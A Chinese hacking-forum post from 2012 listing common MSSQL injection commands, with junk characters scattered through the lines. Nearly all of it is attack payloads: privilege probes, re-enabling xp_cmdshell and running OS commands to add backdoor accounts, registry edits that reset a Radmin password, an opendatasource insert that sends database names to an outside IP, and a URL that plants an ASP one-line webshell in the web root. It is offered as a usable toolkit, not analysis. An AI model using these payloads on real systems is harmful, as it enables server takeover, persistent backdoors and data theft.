找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2163|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的
7 z' v6 C( ?6 c5 G; P( Pand 1=(Select IS_MEMBER('db_owner'))
/ r, K: n( C( @8 V- wAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
" F5 b' ?* k' V5 u1 C+ h7 ^& T5 {! d- o( }3 J( H  f& x
//检测是否有读取某数据库的权限% B4 N) b3 _) q# n5 F7 u+ O( M
and 1= (Select HAS_DBACCESS('master'))
* R1 {$ d9 m* ]* e$ q" kAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
! ]: o1 ~3 Q, P, h. [1 L% a0 V5 g+ P5 R% F* R; J* W

9 r) I6 U. [4 h$ J; I3 T( j- T数字类型: p' b7 J* \- z5 a
and char(124)%2Buser%2Bchar(124)=0  g) S* W( w9 Y+ ?& d5 M, V
3 n9 v* M/ m; S, |3 }
字符类型
# a1 w' v4 b& g) h* U, f' and char(124)%2Buser%2Bchar(124)=0 and ''='
6 C; ~" N4 R. ~' }
  G4 N* c& @: b% a搜索类型5 I$ }6 C2 u" u" j' b5 S
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
# {& R2 }( I$ Z9 W: }, E
, n# l, g2 k% M3 J# S3 }: D1 w爆用户名" i% ~6 V0 u. i9 T
and user>0
; ]8 k1 k, z( R6 C' Z' and user>0 and ''=', E3 M; r  h  \) ^4 w# H; l

4 y2 j) C* d! B4 i检测是否为SA权限
8 [& z2 P" ~7 }) \6 m- \and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
' v& P7 K- G8 a5 i" Z- LAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --; K# k$ {$ @# c

6 \- ^! a. T% w+ P0 k5 d+ a7 y检测是不是MSSQL数据库4 x. L5 E+ e1 ^; P/ |; Q
and exists (select * from sysobjects);--
5 c, t* Y1 d! e2 o7 a( {+ J& r# E
$ Y+ T: b1 d; I. I检测是否支持多行
/ N3 j; G3 K# h' ]& f( w;declare @d int;--9 z3 N$ _  e- _% M0 i* \1 F1 `4 a

6 D1 R: J9 ~) S6 y8 ^% N9 s$ ?恢复 xp_cmdshell
2 q' e. n! o% g: Q. R;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
5 g/ x5 d& _5 Z- i0 m9 i. e. H4 i1 J6 Z+ n
) c5 v' T' R! Z' q8 |- a# L
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
0 Q4 \; \6 d( C( w6 _* i) s% [4 H% A
//-----------------------4 g/ a6 U7 N* r
//       执行命令1 C) _* h' b- l
//-----------------------
; T" y' ^, ?8 U! o首先开启沙盘模式:
" e. L6 f; P7 Pexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
/ u( R1 J6 Y# ]
: ^& |/ ]( K0 j/ k然后利用jet.oledb执行系统命令
, x" i. \. J# |4 r7 Dselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
* U4 O/ \1 \6 k  v% _
6 o, r: e( D" `0 ^5 J! r" M执行命令
; S* f. F) ^5 y6 b& V: b5 W. ]6 b;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--1 x8 O# C8 S8 x$ U9 V* j/ y

: m) M  `  r) l# eEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
( A+ y9 [; X! {
- C1 V5 c9 X/ L. Q9 o/ s判断xp_cmdshell扩展存储过程是否存在:
% T' x; `$ h; F# f0 u, l5 ~" \http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
7 J2 V0 V5 r" M' I4 K' a+ P. y% ?# S# M
写注册表
' p2 M- t& ]- Eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
( c4 t; s, `* g& J" K8 o4 C
. b" i- u1 z. }$ t/ rREG_SZ* Q) l' `' E& w6 j

, B& G! h" L7 Q+ S( x! q& @读注册表7 \, [% O  w: s' B
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'/ G0 u8 }- }( I

( o7 O" l5 X3 c读取目录内容
- B, p$ R  }0 I7 s6 B8 Zexec master..xp_dirtree 'c:\winnt\system32\',1,16 ~7 i+ ~7 p+ ]. M* e) s( C

7 D; |# c0 n- v. R. l5 y% W( y2 P8 l1 b, _5 {
数据库备份9 p9 Z0 a( W& T$ w
backup database pubs to disk = 'c:\123.bak'
# q! p4 i) L! Y/ N$ u- F1 Q, u# t7 N7 V" e7 E3 C) p
//爆出长度) T8 F  L9 b. c" ^+ b! O! m
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--3 U* g' |! C  W6 g+ _9 I6 t
+ r1 e3 ^+ f+ L1 w2 A$ U7 m1 D
' w# f: a' K2 s" w( D7 ?$ M
- {. e' W3 S; Q9 o" q1 @
更改sa口令方法:用sql综合利用工具连接后,执行命令:
# T$ W: U# }( }+ K, ]9 _0 Zexec sp_password NULL,'新密码','sa': W/ |* F9 m* G3 c1 H2 {& }

3 v( Q* @9 ~% b+ u添加和删除一个SA权限的用户test:0 o# h9 h3 Z5 v+ E& i
exec master.dbo.sp_addlogin test,9530772- W8 q9 Y( P$ k; m' x& U' O  X
exec master.dbo.sp_addsrvrolemember test,sysadmin9 I- |. N8 x$ e+ ]5 ]8 H, D4 v! N7 G

# u$ [4 K7 z1 f$ Y: q/ i8 |+ [删除扩展存储过过程xp_cmdshell的语句:
7 M: S( @; T( o; dexec sp_dropextendedproc 'xp_cmdshell'
- i; ^) t' d+ N5 T3 X
  x1 q: z; G) m+ p, l! o" |7 p) h添加扩展存储过过程5 }, N7 ?, K3 _& i( i
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'8 n! ]) U. W: U
GRANT exec On xp_proxiedadata TO public2 P' W4 f' q8 g4 z3 k0 G9 I

+ T: {- _! F; S+ }
2 v0 _* C! V/ k停掉或激活某个服务。8 r' U  g/ T& e/ m; T
0 M$ [5 G8 k4 k. R$ j
exec master..xp_servicecontrol 'stop','schedule'' `4 B# h6 l+ G
exec master..xp_servicecontrol 'start','schedule'; m5 c4 I  P  R/ X! |3 [9 c9 O
/ Z: t6 g8 Q0 C8 ~( p6 O3 R
dbo.xp_subdirs1 O4 E5 T, c# B' U& ]
, B' H; a1 |; T
只列某个目录下的子目录。
6 O* q" S( X) t$ D& H8 ~6 Xxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
% ~3 T4 n8 l$ {: b' C5 D# R1 h9 ?! J) q
dbo.xp_makecab: r5 m5 d: k+ @3 x

3 G3 a' Q/ @: w# O# d- i将目标多个档案压缩到某个目标档案之内。
2 z* V/ T: q1 `% m# ]7 D. ^+ U所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。9 _9 a9 i2 ], T: l7 F
- ]" g. `$ m* x% I& W
dbo.xp_makecab
) `9 p. W% z5 h- i, i'c:\test.cab','mszip',1,
, `. c3 [3 ~) ?! n( ?'C:\Inetpub\wwwroot\SQLInject\login.asp',
5 E7 S+ R& n! m: ~( l+ i( `+ G'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
3 b' B& `/ D' F- V
5 K: i4 a2 [2 t0 rxp_terminate_process  O/ `$ S& O2 U, X9 [2 j
  v7 s* S. ^7 }. p( r( \/ U; q& {
停掉某个执行中的程序,但赋予的参数是 Process ID。
) T% n& m' C0 i$ M1 J  E利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID% M, L" g! F5 w7 n: T3 f' `, T8 O8 [1 b

+ }7 L5 J# ~) W# Gxp_terminate_process 2484
$ z: J3 D/ v/ Q/ Z6 W! C
: T! R4 O5 n( h" i% M4 Rxp_unpackcab
5 [/ Q# F  a8 Z' C3 k4 Z- C* f7 a- ?$ q; `  }: w# ~/ Z7 }4 `3 o
解开压缩档。
+ Z9 Z" g) m& `' t' F  [( c/ K: o+ U: z5 M  ]/ h+ E8 v+ V' I
xp_unpackcab 'c:\test.cab','c:\temp',1' ~( f2 k; `: v$ }+ Z
4 d* d0 K: W6 Y+ {8 M6 b! P6 h
, J: M" X! g4 U5 x" ^; o
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12347 l1 O7 ]$ U8 x. N4 p. A+ E

, `3 H6 L3 @  P! S+ L8 r$ `  @! lcreate database lcx;
; L5 ~1 Z2 |8 A  d$ f" O3 R. zCreate TABLE ku(name nvarchar(256) null);5 |* F) F( D  P4 I% m: t+ o+ H% ]
Create TABLE biao(id int NULL,name nvarchar(256) null);2 B' S0 L- g/ r2 A3 ~

/ `( O4 Y- k* O+ f8 O//得到数据库名; U+ s0 L( L4 @# s+ y4 D
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
6 m  ]* {/ ^" X% ^# J
+ s, N( L, B; ~/ A4 U- ~5 ^! R; K/ L0 J* U, B; M5 J' ^) q  M
//在Master中创建表,看看权限怎样6 L( s8 g5 u8 _. P
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
: J3 {) f% s* c0 K' ]( L5 n, A; B
5 _9 V  F5 z( R+ Y, I! V5 H用 sp_makewebtask直接在web目录里写入一句话马:
% r4 U4 m$ j; [) Q/ Chttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
  t$ L/ Z" ?6 Y' j' R& y  c! y  H% M$ V, g
//更新表内容
, I4 {4 ]$ f- W2 O2 O$ x/ ]Update films SET kind = 'Dramatic' Where id = 1236 u% [+ [2 j! Y
+ J/ C+ y) o! {* H6 e  l. M% T) T
//删除内容
) X% L. Q+ N. D" ndelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表